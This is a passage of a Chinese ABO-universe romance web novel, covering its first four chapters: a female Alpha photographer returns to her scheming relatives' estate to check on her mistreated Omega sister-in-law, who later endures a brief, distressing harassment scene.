《美人Omega暗恋我[GB]》
1. 第 1 章
飞机降落。
“尊敬的乘客,您已到达南城。”
随着悦耳的乘务员提示音,李维京揭开眼罩,坐起半身。
将临窗的遮光板上提,光线过曝,她眯眼,看不见熟悉的城市。
正是头等舱,乘务员们忙于服务。
李维京坐在第三排的位置,朝邻座道声借过,站起来,搬弄头顶仓储箱的行李。
邻座男孩仰头看她,只觉她身材高挑,手长脚长。
他提醒她,乘务员会帮他们拎行李。
低头看了看,女人浓长的睫毛里,射出来的目光像是太阳形成的箭矢,避无可避。
男孩忽然脸微红。
“自己做习惯了。”
说着,李维京伸手拎行李,外面大箱行李是男孩的,她毫不费力地拿下来,递给他。
男孩脸更红,结结巴巴道谢。
他想起身,却不知道下一步该做什么。
取下自己的单肩包,李维京往肩上背,略一点头,径直往外走。
一水乘务员,微笑欢迎她来到南城。
出机场,李维京进行蓝牙电话,跟好友安娜定位接头的位置。
“等、等一下!”
“请等一下!”
再三呼唤,李维京疑惑回头,以为是谁认错人。
回首,有风吹来,吹乱女人的黑色长发。
她一身挺括风衣,单手插兜,站在那里,清隽美好。
男孩看着,心中情愫增发。
“谢谢你等我。”
“也谢谢你在飞机上帮我拎行李。”
李维京疑惑,回想,恍然大悟。
原来是刚才飞机上的邻座男孩。
“不用。”
“那怎么行,至少加个联络方式……”
面对男孩的坚持己见,李维京干脆摆手。
李维京有双水汪汪的杏仁眼,极易令人心下一动。
可将近一米八的身高,让她俯身往下看人,神色淡然,有种冰冷的疏离。
男孩不敢说话了。
“拎行李,是因为你行李挡住我的背包。”
“至于现在等你,是因为跟朋友约定在这等她,这都跟你没关系。”
男孩傻了。
他他他,从来没见过这么不解风情的人!
“哈哈哈!”
道路旁,一辆玛莎拉蒂悄无声息地停靠。
豪车主人笑得前俯后仰,脑袋直接磕到方向盘,长笛鸣叫。
李维京冷淡地看着玛莎拉蒂的女主人,好友安娜。
旋即,她上了副座。
好不容易止住笑,安娜眼角余光看男孩还站在那,对李维京好一通挤眉弄眼:
“不说点什么,安慰安慰别人?”
“不懂。”
“直女。”
安娜吐槽道。
“开车。”
直女李维京如是说。
啧啧两声,安娜依言踩油门,启动豪车。
路过道旁满脸尴尬的男孩,她举手挥舞,大声安慰道:“小美男,不要为了这个冷酷女人伤心!”
不理热情过度的好友,李维京从风衣兜拿出手机,想要处理工作消息。
一张纸条从兜里掉了出来。
以为是工作备忘录贴士,李维京展开来。
安娜探头过来凑个热闹。
“哦哦刚才那个小美男,居然给你塞了联络方式的纸条!”
面对好友的莫名兴奋,李维京无言揉碎纸条。
“无聊。”
这是她对整场邂逅的最佳注解。
“维京你、你你,简直不解风情!”
“好好开车。”
简短说完,李维京低头,用手机处理各种工作消息。
拉美地区拍摄的人情风土照片,一分为三,货与三家:本地新闻社、学术网站、地理人文杂志。
拉美采购的风俗商品,部分还人情,部分上架自家网络店铺,东西贵精不在多。
林林总总,李维京都一一安排。
目光无意扫了眼她手机屏幕,安娜忍不住好奇。
“你现在一张摄影作品多少钱?”
“最低五百,最高两千。”
“有点少啊姐妹。”
安娜啧啧两声,惋惜好友赚得不多。
“交易单位是美元。”
简短答道,李维京再次看了看某条短信,依旧没有收到回复。
“我准备回来了。”
她发出去的消息,已经是七天前。
“我姐妹有出息了!”
理解到她赚得还行,安娜即可眉开眼笑。
“趁着这几天,我们赶紧去玩玩,要不然你过段时间又跑去采风赚钱了。”
面对好友的抱怨,李维京熄灭屏幕:“这次我会待两个月,有的是时间陪你。”
知道她有诺必应,安娜喜上眉梢,开车都快了不少。
“这两天我回趟李家祖宅,之后就陪你买买逛逛。”
随着李维京轻描淡写的话语,安娜猛地一刹车。
轮胎摩擦柏油路发出刺耳声响,可安娜的声音盖过一切。
“哈?!李维京你疯了!没事找什么不痛快!”
·
十八岁时,李维京父母双双离世。
听说此事,李维京祖母当场心脏病发猝死。
祖母留下一份巨大的遗产。
为这份遗产,李家亲戚闹得几乎老死不相往来。
犹记得三位亲人尸骨未寒,李家那些人就在灵堂上打骂起来。
李家堂堂一个本地大族,沦为一时笑柄。
当时的李维京,堪堪十八岁。
她用眼睛与脑子深深一一记住这些人的嘴脸,朝自己父母、祖母磕头告别,破出李家门槛,再没回去。
时隔六年,李维京首次回去。
江南园林式的别墅建筑群,门外芭蕉新绿。
两座石狮左右坐镇,石雕眼睛栩栩如生。
大门打开。
“找到人你就走,千万别在那耽搁!”
电话里,安娜反复叮嘱。
“好。”
李维京爽快答应。
电话那头,安娜还想说什么,最后长叹一声。
“在这种地方,你嫂嫂他也不容易。”
两天前,李维京联络不上嫂嫂盛莲,决定来李家祖宅找他。
一听这人,再三阻挠其回去的安娜,还是松了口。
李维京的嫂嫂盛莲,原本是她堂姐的恋人。
堂姐早亡,盛莲守着这份感情独身多年。
身为青梅好友,安娜知道李维京肯认这个嫂嫂,便说明在她心中,他是唯一的亲人了。
打着电话,随着管家领路,李维京来到大厅。
大厅的光照是自然光,借助了墙壁形状不一的窗花,敞阔明亮。
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置身于大厅,仰望金属贴片的尖顶式天窗,像是在圣堂。
儿时,李维京就喜欢在这里踩影子玩。
“哎哟,这不是维京吗?终于舍得回来了。”
伯母吴翠一登场,语气说不出的嘲讽。
李维京没说话,坐在管家安排的座位,端起茶杯任热气氤氲。
好久不见这小辈,吴翠不由上下打量一番。
分明一双杏仁眼,却清凌凌的,面容娇媚,神情冷冷淡淡。
一个标准美人,却是个Alpha。
长相优势,性别优势。
外加那些年没从她手里夺走的家产,吴翠愈发看不惯。
“当年你自己家产一分都舍不得给人,结果这些年跑来跑去,都赔光了吧?”
说着,吴翠嘴微微一撇,眼睛盯着李维京脚边的那个旧单肩包。
“嫂嫂是不是在这?”
李维京不多话,直奔主题。
嫂嫂盛莲性格温柔忍耐,一直被堂姐家利用、压榨。
依照盛莲个性,瞒李维京的时候多,也不让李维京插手,怕她心里不痛快。
只要李维京知道,必定会维护嫂嫂。
至于这一次,直接杀回来,是因为经常联络的盛莲七天没回她消息了。
来此之前,她已经打听过,盛莲在李家祖宅。
“嫂嫂?哦盛莲,他在厨房帮佣。”
吴翠怪怪一笑,继续嘲讽她。
“听说你现在在外东奔西跑,什么钱都赚,连个LV包都不舍背,背这么个破包。”
再三无视,倒是不礼貌了。
李维京选择正面出击。
“外面都说祖母离世,李家是一天不如一天,我原先不信,现在一听伯母这做法,看来的确是。”
“临近今年家宴,伯母都请不起人了,居然把嫂嫂也喊来帮忙。”
“我这小辈跟如今的李家人都福薄缘浅,但也不能看伯母你们虐待自己家的人。”
说着,她拎起旧包往吴翠脚下一扔。
“别说,这破包装钱挺能装。里面有五十万,我稍微帮伯母补贴下今年家宴费用。”
她下颌微昂,杏仁眼弯起。
“这是我自己赚的微薄积蓄,比不得伯母倒卖祖宅古董名画得来的大钱。”
李维京笑容娇媚,言辞冷锐。
而伯母吴翠僵在这里,下意识踢了一脚背包,钱沉甸甸的,踢不开。
用力过猛,她反而踢翻脚趾盖,不由俯身哎唷叫。
而李维京直接起身,顺着管家李伯手指暗示,走往后厨的点心房。
背后,只剩一声声“哎唷”、“哎唷”的哀叫。
点心房。
整块半身玻璃,映出点心师们忙碌的身影。
李维京扫了一眼,发现了盛莲。
他做着蛋糕的点缀,白色奶油一点点挤压,纹成波浪状的边缘。
口罩遮住半张脸,眼皮微敛,上眼皮的小红粒一动不动,像是黏在上面的一抹胭脂。
靠着门框,李维京抱胸看他做完点缀,这才上前,屈指敲敲面前的玻璃。
男人疑惑抬起,看清是谁,敛起的眼皮舒展开来。
一瞬,点心房的灯光照在他眼睛里。
隔着玻璃,男人舒展的眉眼,如莲花般绽开。
李维京也笑起来。
在回到李家祖宅以后,她首次露出舒心的笑。
2. 第 2 章
点心房,休息时间。
急急忙忙从玻璃隔间出来,盛莲快步走到李维京面前。
他一把拉住她的手腕,眼神焦急。
“这两天是你信息素爆发期,有没有不舒服?”
在这个社会,ABO是第一性征。
无论男女,十五岁以后逐渐分化,其中Beta最多,Alpha与Omega稀有。
只不过,以世俗观念来说,前者强大,后者弱小。
李维京是个女Alpha。
这也是伯母吴翠讨厌她的原因之一。
除了早逝的堂姐是Alpha,李家小辈中多数是平庸的Beta,而李维京是唯一的Alpha。
为此,李家人有过示好,但李维京不理睬他们。
她知道,他们不为她本人,只为她的Alpha基因优势。
而眼前的盛莲,头戴清洁帽,口罩半遮住脸,握着她的手指软软凉凉,像是细长的玉兰花花瓣。
他如墨的眼神写满焦急。
只有眼前这个嫂嫂,真切地为自己担忧。
想到这,李维京嘴角微翘。
她生出恶作剧的心,拉长声音问:“嫂嫂,这是在担心什么啊——”
“担心你。”
盛莲脱口而出。
话说完,他眼睛大睁,意识到后悔。
握着女人的手指微蜷,像是优雅美丽的细长花瓣在缩怯。
“啊不是。”
他连忙摇头,转念一想,说对小辈的担心不算什么,又慌忙点头称是。
此时的盛莲头顶清洁帽,套在其他人脑袋像是清洁工人,戴在他头上则是形状优美的贝雷帽。
鬓角脑后的碎发,悄悄漫出来,随着他摇头否认的动作,有种凌乱美感。
口罩遮住他下半张脸,眉眼展露无遗。
眉毛纤长而入鬓角,眼眸如墨,化不开的春水,当真是眉目如画。
“这么多年的姐妹,拍张你嫂嫂最近的照片,我把这美照供枕上,求求你了。”
来之前,好色女人安娜如此卑微恳求。
这般猥琐要求,李维京自然拒绝。
可盛莲的美丽,谁也无法否认,人如其名。
他是天生Omega。
作为一个直女Alpha,李维京不太懂Omega。
对于她来说,刚才盛莲的言谈举止,充满矛盾。
是又不是。
点头再摇头。
她完全不懂。
但是比起对其他Omega的路人态度,李维京对嫂嫂自然不同。
“一个优秀的Alpha,是能控制信息素的。”
回归到最开始的问题,李维京抬起手,轻拍嫂嫂的手背以示安慰。
女人修长的手指触即盛莲的手背,握着她的柔软手指,触电般缩回。
李维京的触碰直接落了空。
李维京看嫂嫂,满脸疑惑,盛莲眼神漂移,左看右看,就是不肯看她一眼。
歪头想了会,李维京恍然大悟:“AO有别,AO有别。”
现在的李家是伯母吴翠当家,这地方无风都起浪,闲言碎语不会少。
何况,李家本来就对盛莲刻薄。
意识到维京会错意,盛莲睫毛忽闪,来不及说话,厨房管事的周嫂过了来。
“盛少爷,手工柠檬派的制作量还多,您今天能做完吗?”
想要解释的唇轻轻抿住,盛莲轻声道可以。
“那就请您早点动手。”
周嫂微微点头,再朝维京小姐鞠一躬,然后告退。
这般区别对待,李维京大为震撼。
手指唰地点住周嫂,准备喊住她教训一顿。
盛莲脚步一挪,阻住她为自己出头的心。
“做完点心,我就不用待在这,可以回家了。”
挡住维京的手指,盛莲抬眼看着她,语气哀恳。
“哎嫂嫂。”
李维京长叹一口气,有些不满地单手叉腰。
“维京你喜欢手工柠檬派,这次我稍作改良,帮忙尝尝味,好吗?”
盛莲小心翼翼地看着她。
明亮的灯,如墨眼瞳洒落入琥珀般剔透的光。
李维京放下叉腰的手,勉强答应。
·
手工奶油柠檬派,分为派皮、柠檬馅、烘烤、装饰等步骤。
一箱烤制完成,两个小时过去。
不顾烫热,第一箱第一个,盛莲挑选出来,给玻璃房外等待的李维京。
李维京没闲着,坐在点心房角落的茶几,处理自己网络店铺的事。
“柠檬派好了,新鲜出炉的最好吃,尝尝。”
李维京抬头道好。
用嘴吹凉几秒,李维京咬上第一口,手机信息叮叮当当不停。
她只得放下柠檬派,继续回复买家消息,嘴里嚼得没滋没味。
见状,盛莲主动拿起柠檬派,喂到她嘴边。
“冷了就不好吃。”
李维京依言张嘴,眼睛却不得空,还看着手机消息。
女人张开的贝齿,不小心磕到盛莲的指尖。
盛莲浑身一僵,看着眼前的女人。
李维京眼中只有手机里的生意,无它。
很快,她的味蕾先于她忙碌的大脑苏醒。
柠檬派的皮如千层酥般,酥香交叠,层层酥脆,入口即化。
而柠檬馅料柔滑,不失水果原本的酸甜,与酥皮交织相融,口感层次丰富和谐。
重重“嗯”了一声,李维京抬起头来,夸赞道:“嫂嫂,你做的柠檬派好好吃!”
“是甜点里的艺术品!”
见她不遗余力地夸自己,盛莲低垂眼,腼腆地笑笑。
双手背在身后,他小心翼翼搓揉右手食指的指腹。
通过不断搓揉,似乎还能回味起维京牙齿触碰到指尖的感觉。
“那我继续去做了。”
盛莲垂眸说。
李维京有点奇怪,询问道:“还要多少个?”
“不多。”
盛莲眼神闪烁,几秒后,在李维京眼神的逼视下败下阵来。
“还有一百个。”
顿时,李维京心头火起。
李家尽不干人事,拼命欺负嫂嫂盛莲。
表面她还风淡云轻,问道:“一箱能烤制多少个?”
“十五个。”
不疑有他,盛莲如实答。
还要十四个小时。
李维京得出结论。
“没其他人帮忙吗?”
她继续问。
“大家都有自己的活。”
本能地意识到对话不太对,盛莲把头埋下,轻声道。
明明没有做错事,他却把头低下来,像是迎接随时随地而来的苛责。
李维京想,对于盛莲,她真的没法理解。
但是,对于自己的嫂嫂,她又乐意帮忙回馈他的好。
于是她沉住气,没有再说什么,也没有指责盛莲的软弱,只是说再等他一会儿就回去。
对于这份等待,盛莲点头,并不抱希望,反倒催促维京早点回去。
笑着点头,李维京自有主意。
随后,她借口无聊散步,出了点心房,找到厨房主事的周嫂。
“周嫂。”
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“我要跟嫂嫂一起回家,手工柠檬派你找个人替他做。”
不废话,李维京上主题。
“这我不能做主……”
周嫂神色犹豫。
“很为难?”
李维京一挑眉毛,“那让吴翠跟我谈。”
她嚣张到不敬长辈,可又如何。
李家该尊敬的长辈,都死了,剩下的,都是群趴祖业吸血的虫。
厨房这处,周嫂也听说了那五十万,心知不能得罪李维京。
“这几天盛少爷也累了,是该早点回去了。”
最终,她说道。
“是啊,叫着他少爷,给人打杂的待遇。”
李维京微微笑道。
周嫂满脸尴尬。
情知嫂嫂身份地位尴尬,李维京也只稍微嘲讽下,旋即转身离开。
这时,安娜打来电话,说是不放心要来接人。
李维京拒绝,拗不过安娜的关心,还是答应。
“我可以当面找你嫂嫂要照片吗?求求了。”
“走开,痴女。”
李维京义正言辞地拒绝。
安娜哀嚎好几声,还是坚定地表示。
“我等会就到你家门口,等着。”
答应着,李维京挂了电话,她无意来到一处白墙,上面一扇雕花小窗微阖,关不住墙另一面的闲谈。
“不叫盛少爷,总不能叫盛少奶奶吧?”
“哎唷你要笑死我,那个盛莲,就是个外人。”
“周嫂你意思是,到小姐死,都没跟他结婚?”
李维京静静站住。
当年,因为堂姐身体不好,她跟盛莲的婚事一直耽搁。
到最后,堂姐病亡,盛莲也没能进入李家,身份始终尴尬。
这个李家,上到堂姐母亲吴翠下到佣人周嫂之流,没人打心眼认可盛莲。
墙壁那边,啧啧称奇。
“这么多年,他脸皮可真厚,非要认这份亲事。”
听到这,李维京咳嗽下。
一听这声,对面的周嫂等彻底噤声。
见状,李维京冷笑一声,扭身离开。
树影婆娑,日光疏落,洒在女人的脸上。
她抬头,看见树枝摇曳,蓬然绿意之中,生出艳丽的粉色花朵。
盛莲如枝上花,灿然美丽。
可现在的李家,流言蜚语、轻蔑鄙视形同骤风急雨,随时都能摧残他。
祖母父母他们不在的李家啊,变成这样凉薄的地方。
想到这,李维京轻轻抿住唇。
很快,她回到点心房,绕到玻璃间。
“嫂嫂,我刚才无聊出去散步,碰到了周嫂。她说柠檬派不用做那么多,一箱够了。”
此时,女人语气轻快,表情轻松,大大的杏眼看着盛莲。
主打一个无辜。
盛莲停下动作,有些犹豫。
“可……”
“哦吴翠她为难你是吧?”
假装才发现这个华点,李维京询问道:“需要我去跟她当面说吗?”
“别。”
盛莲慌忙拦住,想了想,小声道:“那等我一会,我收拾收拾。”
他不想维京跟这边起冲突。
“等你。”
李维京简短道。
从玻璃间出来,褪下厨师帽、口罩等,盛莲急匆匆离开,去往更衣室换衣服。
抬步走到廊外,望着廊外的花枝,李维京有点想抽烟。
一点聚拢的烟瘾,被安娜的求救短信打断。
“救命,那个可怕的女人吴翠要给我介绍对象!”
“救我!我人在大厅!”
3. 第 3 章
一来大厅,李维京便听见聒噪的声音。
“安娜你也二十三岁了,该稳定了。周家李家原本世交,你喜欢什么样的,吴阿姨也帮你操心操心。”
坐在安娜对面,吴翠一脸苦口婆心。
安娜再三拒绝。
“像我这种Beta,不好找对象。”
“我既不想生孩子,也不想养孩子,Alpha和Omega都不适合我。”
“哪里的话。”
吴翠不死心,继续扮演慈眉善目的长辈,
“无论什么,只要你是周家女儿,合适的对象多得很。”
在势利眼面前,ABO都不重要,重要的是富豪周安娜家的财产。
“我家儿子怎么样?”
吴翠终于问出这句话,而安娜欲言又止。
吴翠生下两女一男,除却早逝的大姐李佳,还有个不成器的女儿,以及小儿子。
面对吴翠一脸和善表情,用眼神鼓励她想说就说。
把心一横,安娜大声宣布对此看法。
“不行,两个Beta不会有好结果的!”
“何况您儿子不好看,生下来的孩子也不会好看!”
此话一出,李维京忍不住笑。
不愧是安娜,无愧她一等一的“好色女人”头衔。
吴翠两个女儿都是Alpha,偏偏小儿子是个平庸的beta。
从各方面来说,都很平庸。
一听笑声,安娜偏头往外看,看到好友,眼神立刻亮起来,疯狂招手。
摆摆手,李维京迈步进来。
“伯母,放过安娜,你儿子才十九岁。”
说着,李维京大大方方地坐到吴翠对面。
吴翠脸僵着,没说话。
面对安娜,她俨然不欣赏其直爽言语,严厉地瞪了一眼。
可惜安娜没看到。
“就你一个人?”
维京一坐下,安娜便问,语气不无失望。
管家李伯上茶。
这次是她从前爱喝的雨前龙井。
看来五十万足以收买李家这边的态度。
想着,维京装不懂安娜的话,静坐喝茶。
而吴翠打着哈哈说几句场面话,抓着话题不放。
“我儿子十九,安娜也才二十三,大不了几岁,不如见一面?”
话音刚落,吴翠已经扯了嗓子喊管家去叫人。
安娜惊恐到连连摇头。
“安娜不想见。”
维京轻描淡写道,
“她有‘丑人症’。”
“什么?”
吴翠怀疑自己听错。
搁下茶杯,李维京目光笔直,看着伯母。
“全名叫‘见十九岁的丑人就发烧做噩梦’症。”
然后,她转头看好友,询问道:“对吧,安娜?”
先是呆了一下,安娜会意,咧嘴想笑又不能,最后忍笑点头,埋头肩膀抖个不停。
吴翠脸色一僵,念及钱稍稍缓和。
“这么些年了,维京不改当初的调皮,俏皮话一套一套的。”
阴阳怪气说了几句,吴翠扯着嗓子催促管家李伯去找人。
人还没来,趁着这空隙,李维京喝了茶,拉着安娜起身告辞。
安娜反而不肯走,牢牢坐着,嘴巴无声蠕动,不断诉说她的来意。
——你嫂嫂、你嫂嫂。
啧了一声,李维京抬指恨不得弹她额头,打醒这要色不要命的痴女。
修长白净的手指点住女Beta的额头,然后轻点三下。
高挑的女人,红唇吐出无奈轻叹。
——你呀。
安娜眼霍然睁大,耳朵微红,连连摆手阻挡这等美色杀人。
她骤然双手捧心,东歪西歪,造作地表达自己沦陷了。
心知玩笑,李维京淡淡一笑。
两人的小动作,吴翠没有回头看到。
看着眼前的人,她神色诧异:“怎么是你?”
端着一托盘的点心,盛莲站在大厅门槛前。
慌忙把目光收回,他看了眼当家人吴翠,眼皮低垂。
“李伯去找少爷了,来不及送点心,我帮忙送过来。”
扫了一眼盛莲的打扮,吴翠皱起眉。
“你这是忙完了?要走了?”
双手捏着托盘边缘,盛莲眼神游动,下意识往吴翠身后看。
李维京站着,也在看他。
盛莲深蓝牛仔裤,长袖白衬衫,外搭浅蓝色长西装。
他比李维京大几岁,临近三十,可这么一穿,如晨雾中的蓝莲,纯而美。
安娜一把握住维京的手,用力抑制自己激动的心情。
值了值了!
新鲜出炉的Omega造型,绝美!
“可以吗?”
收回目光,盛莲轻声问。
吴翠眉头皱得更深,顾忌李维京安娜两外人在场,话没有说得难听。
“行吧,等会你可以回去。”
“一起回去,嫂嫂。”
李维京适时开口,安娜疯狂点头。
眼看儿子半天不过来,吴翠内心焦急,生怕他错过这攀亲机会。
而李维京再三出头,她愈发烦躁。
深吸一口气,她把心一横。
“小儿子不行,那我女儿呢,她可是个Alpha。”
说的是她二女儿,一个不成器的女Alpha。
好家伙,这番图穷匕见。
今天是非要把她女儿儿子塞一个给安娜,好攀上周家这门亲。
眼皮微敛,李维京露出似笑非笑的表情。
她不动,静看这场闹剧。
而吴翠一看她,气就不打一处来。
借着长辈威严,非要说几句。
“维京这么关心嫂嫂,多有风度。像你这样的Alpha,什么样的才配得上啊?”
“盛莲啊,维京成天叫你嫂嫂,你也帮忙留心她婚姻大事。”
摆放点心的手微微一顿,盛莲背对着人,脸朝无人处偏,没有说话。
“不劳伯母操心。”
面对她一番十成十的阴阳怪气,李维京也不惯着,
“自己的女儿儿子管好就行,别让其他人来当他另一个妈妈。”
话说得很难听,直戳吴翠肺管子。
她气得一拍桌子,“少爷怎么还不来,盛莲你也去叫他!”
“嫂嫂不去。”
李维京抱胸站着,淡淡道,“
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他要跟我一起回去。”
扫了他一眼,吴翠轻嗤一声。
“事都没做完,回去的事再说吧。”
这时的盛莲已经摆放好点心,抱着托盘缓缓退到角落。
“嫂嫂?”
李维京呼唤,神色不解。
“李伯那还有点事,我去帮帮忙。”
把托盘抱得更紧,盛莲轻声道。
李维京走几步,靠近他。
杏仁眼眼尾微扬,神色有所不满。
高挑的女人微微倾身,逼近男人。
十足的压迫感。
安娜拉了她一把,小声提醒:“你个Alpha,离Omega太近了。”
Alpha的优势不仅体能身高基因等,更在于强势的信息素。对此,Omega尤为敏感。
维京还是不满,总觉得嫂嫂的想法琢磨不透。
但再次被拉住以后,她没有再靠近。
“眼前人不光是Omega,还是你嫂嫂,收敛点维京。”
安娜再次小声提醒。
好友再三提醒,女人抿住唇,稍微冷静。
想起庭院周嫂她们讨论的八卦,她也明白嫂嫂在这里的不易,及时收住不满。
“抱歉,嫂嫂。”
李维京开口道。
盛莲眼神闪烁,眼皮的小红粒微颤。
刚才女Beta的话,他听得一清二楚,无论心底如何想,表面唯有体谅。
“没关系。”
过了好一会儿,他开口。
“李伯对我挺好的,我想多帮帮他,就不一起回去了。”
维京偏头,不明白他忽然而来的解释。
“没事。”
“本来我就是来看看你有没有事,没事就好,不能一起回去不算什么。”
说着,她耸耸肩。
浓长睫毛垂落,遮住眼睛多余的情绪。
低低“嗯”了一声,盛莲表示去帮忙,转身离去。
眼看自己说话到底有几分分量,吴翠心底满意几分。
至于李维京强行拉走安娜,她也安慰自己不急于一时,这次暂且作罢。
迈出大门门槛,安娜长舒一口气。
“李家这可真是龙潭虎穴,我算是见识了。”
“以后我可不来了,顶多在门口接你。”
心直口快地说完,安娜问:“嫂嫂怎么不跟我们走了?”
“是不是你刚才态度不好?”
“不会。”
“他不是说想帮忙管家吗,所以才继续留下。”
维京解释道。
“那我们可以在外面等,再等会联系,一起回去不就行了。”
心心念念盛莲这等美色,安娜颇为遗憾。
经安娜的话,李维京这才想起。
“嫂嫂说他手机坏了,在维修。这两天忙,还没去拿。”
“算了,我们先走。”
“……”
安娜无语。
“你压根就是忘了这回事吧。”
她一针见血地指出。
“嗯”了一声,李维京没否认。
“……”
她的随意,安娜忍不住了。
“你心里其实就没有你嫂嫂!”
4. 第 4 章
早春的花枝,含苞欲放。
晨间没有散去的露水停在草丛深处,盛莲走过去时,牛仔裤裤脚一片潮湿。
假山石上,一丛藤蔓瀑布般倾泻,藤蔓中心托举着娇嫩的花朵。
盛莲穿花拂柳,从小路抄近道,才在林园中找到管家李伯。
“李伯。”
他轻声唤道。
管家李伯正四处找人,听到盛莲叫他,忙回身微微鞠躬。
“盛先生。”
这个家,只有这个老管家从来称呼他盛先生。
李伯资历老,从维京祖母开始就在的老人,妥帖沉稳,识时务。
“要不要帮忙?”
感激于他的尊重,盛莲开口道。
“小李少爷散漫惯了,不好找,盛先生你先回家。”
管家婉言谢绝。
他口中的小李少爷,是当家人吴翠的小儿子。
“维京小姐,在等你一起回去。”
闻言,盛莲眼神闪了闪,勉强一笑。
“维京她,先走了。”
老管家自悔失言,局促地朝他弯腰道歉。
盛莲侧身避开,摆手表示不用。
林园,尽是百年老树,树冠高而蓬松。
此处雀鸟声,也遥遥地,像是来自另一个世界。
尴尬地躲开以后,盛莲没有选择离开。
他双手交叠,一只手反复摸着自己的肘弯,犹豫不决。
管家李伯继续找人,已经往养龟池走。
终于暗下决心,盛莲也提步跟了上去。
“李伯,刚才我去客厅去得晚,气氛不太好,发生了什么吗?”
他委婉地问道。
“没什么,当家的要小李少爷认识认识人。”
盛莲知道,当时气氛远不如老管家口中平常。
可他在乎的,也不是这个。
“我,我进去看到……”
脑海一瞬闪过维京与人逗闹的场景,盛莲闭了闭眼睛,继续说道,
“吴阿姨很生气,而维京和她的朋友却不是很在意。”
基于未亡人的身份,盛莲应当叫亡侣的母亲为妈妈。
可这么多年,“吴阿姨”这三个字,是所有人默许的称呼。
盛莲也很少这么叫。他有自知之明。
然而,有些事让他顾不得了。
“维京小姐一直都潇洒率性,不是现在长辈喜欢的性格。”
老管家四平八稳地答道,没有再提其他。
“天色不早,我要找到小李少爷,就先走了。”
不牵扯到任何主人家的私事,是管家李伯一贯行事。
此时,他彬彬有礼地告辞。
面对管家的拒绝透露,盛莲只得点头。
管家的身影渐渐消失在水边。
养龟池很安静。
一片落叶悠悠荡下来,漂浮水面。
黯淡深沉的池水,映出盛莲的模样。
他垂眸看着水面,看见的却是刚才的画面。
高挑漂亮的女人,眼睛里只有坐着的女Beta。
她抬指轻点女Beta的额头,红唇无声张合,像是玫瑰花盛放。
距离不近,盛莲似乎都闻到女Alpha身上淡淡的信息素。
不像一般Alpha强烈进攻的味道,而是一股漫不经心的风雪,淡淡的,带点凛冽的花香。
虽然之前提醒作为Alpha的维京抑制剂,可在那一刻,身为Omega的盛莲却感觉自己要抑制不住了。
以至于维京一靠近,他就抱住托盘,就像是抱住一只浮舟。
女Beta的话,却让他的心沉入海底。
再怎么说,自己也是她的嫂嫂……
维京也是这么看的吧?
池水粼粼,晃得人眼睛疼。
满眼水光,盛莲看到水面摇晃,捉不到真实的倒影。
女Alpha无所谓的话语,旋即的离开,无一不都在说明她也不是真的在乎。
风乍起,吹皱一池春水,水面之上的倒影,连同他心底隐秘的愿望,也全然破碎了。
·
露天阳台,柔风拂过女人的发梢,她抬手撩了下头发。
“诶诶,你别过分散发自己的魅力。”
安娜吐槽。
将长发用手梳拢到右边,维京一挑眉:“撩头发也算?”
“算。”
安娜肯定道。
现在的露天餐厅,是下午茶时刻。
点心层叠,琳琅满目。
坐在这处的女人,长发如瀑,露出一段纤长天鹅颈。
安娜啧啧几声,强烈建议,
“好几个人要你联络方式,你又懒得理他们,干脆释放点信息素赶人。”
从进化基因来看,Alpha占有欲极强,与生俱来的信息素则是征服他人的强有力手段。
“不要。”
维京拒绝,“我是什么动物吗,还要圈地。”
“那你好好说刚才的事啊,别管那些冒昧的家伙了。”
“他们就是被你的外表迷惑了,一知道你是Alpha跑得好快。”
被先前的话题吊得抓心挠肝,安娜抓住她胳膊摇晃撒娇。
“什么事?”
维京随口问。
安娜险些被气到,但实在想听,按捺下自己的小愤怒,一阵提醒。
“你嫂嫂的过去啊。”
“他十七八岁来到李家,你那时候才十一二岁吧?”
“哦这事。”
刚才她不过随口一提李家的事,安娜这女人立刻抓住她感兴趣的华点。
维京表示时间长了,不太记得。
安娜满脸失望,“你还真的不太关心你嫂嫂啊。”
“嫂嫂他是个成年人,怎么选,是他的路。”
李维京淡淡道。
“何况,他愿意待在李家,是为了死去的佳姐。”
李佳,李维京的堂姐,吴翠的大女儿。
正如名字,李佳各方面都很优秀,也提早分化为Alpha。
偏偏她身体始终不大好。
没等到跟盛莲登记结婚,李佳就病逝了。
“小时候,我很喜欢堂姐,成天佳姐佳姐的叫她。”
维京语气颇为怀念。
安娜也忍不住叹息。
“你们家好人怎么都……哎。”
“你嫂嫂当了这么久的未亡人,看来真的很喜欢堂姐吧。”
“嗯”了声,李维京没有再捋头发。
“为了佳姐,我会照顾嫂嫂。”
“而且,那时候跟李家断绝关系,只有嫂嫂真的担心我。”
好友难得开口透露过
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去,安娜却按下茂盛的好奇心。
她知道,那是李维京惨痛的十八岁。
“看来,你嫂嫂是你连接过去李家的一个纽带。”
安娜总结道。
李维京没有否认。
扫了一眼天空,天色黯淡下来。
·
郊区某街边手机维修店,四周陈旧,灯光昏暗。
盛莲走了过去,取回自己维修好的手机。
店家是个中年男人,边抽烟边从柜子里掏出手机。
“谢谢。”
付完款,盛莲伸出手,礼貌性道谢。
探入他掌心的,是男人粗糙的手掌。
粗糙不适的抚摸,一遍又一遍。
盛莲脊背发凉,浑身毛发炸开。
可长腿绷直僵硬,动不了。
“美人,留个联络方式呗。”
肥厚的手掌顺势捏住美丽男人的下颌,盛莲身体往后一仰,堪堪躲开。
冷汗直流,他忽然一把抓起柜台上的手机,头也不回跑掉。
跑到拐角处,盛莲扶着墙角边弯腰呕吐。
一整天没进食的胃萎缩成团,因刚才的恶心遭遇膨胀开,撑着他胸口、心口难受不已。
干呕半天,呕得眼眶都红了,盛莲这才扶墙缓缓起身。
靠墙休息一会,他仰头看着小巷高高的墙壁,高墙之上有住户的窗。
太高了,太遥远了。
就像是他跟某个Alpha的距离一样。
想到这,盛莲笑了一下,眼眶发红。
绕出小巷墙角,云朵铅灰色,沉甸甸的,像是随时都能坠下泪珠。
选择打车回去,盛莲终于安全抵达家。
他所在小区并不高档,胜在治安稳定,离警所近。
拎着袋水果慢慢往楼下走,盛莲默默想着明日的计划。
因为请假一周,珠宝展览厅不让去了;兼职网络服装模特,最近也说不缺人了。
24小时便利店店长说缺人,要他回去继续当店员。
便利店24小时两班倒,有些熬人。
但是,没钱更要命。
也许,再试试那个网络……
种种想法,涌上心头。
犹豫不决中,盛莲下意识抬手挠虎口。
楼下路灯昏暗,站着人。
见状,盛莲站住脚步,即刻想起刚才被骚扰的事。
他攥紧水果袋,大拇指更加用力地挠另一只手。
昏黄路灯下,那人抽烟,烟雾缭绕,面容隐没其中。
一束光穿过白色烟雾,照亮来人的眉眼。
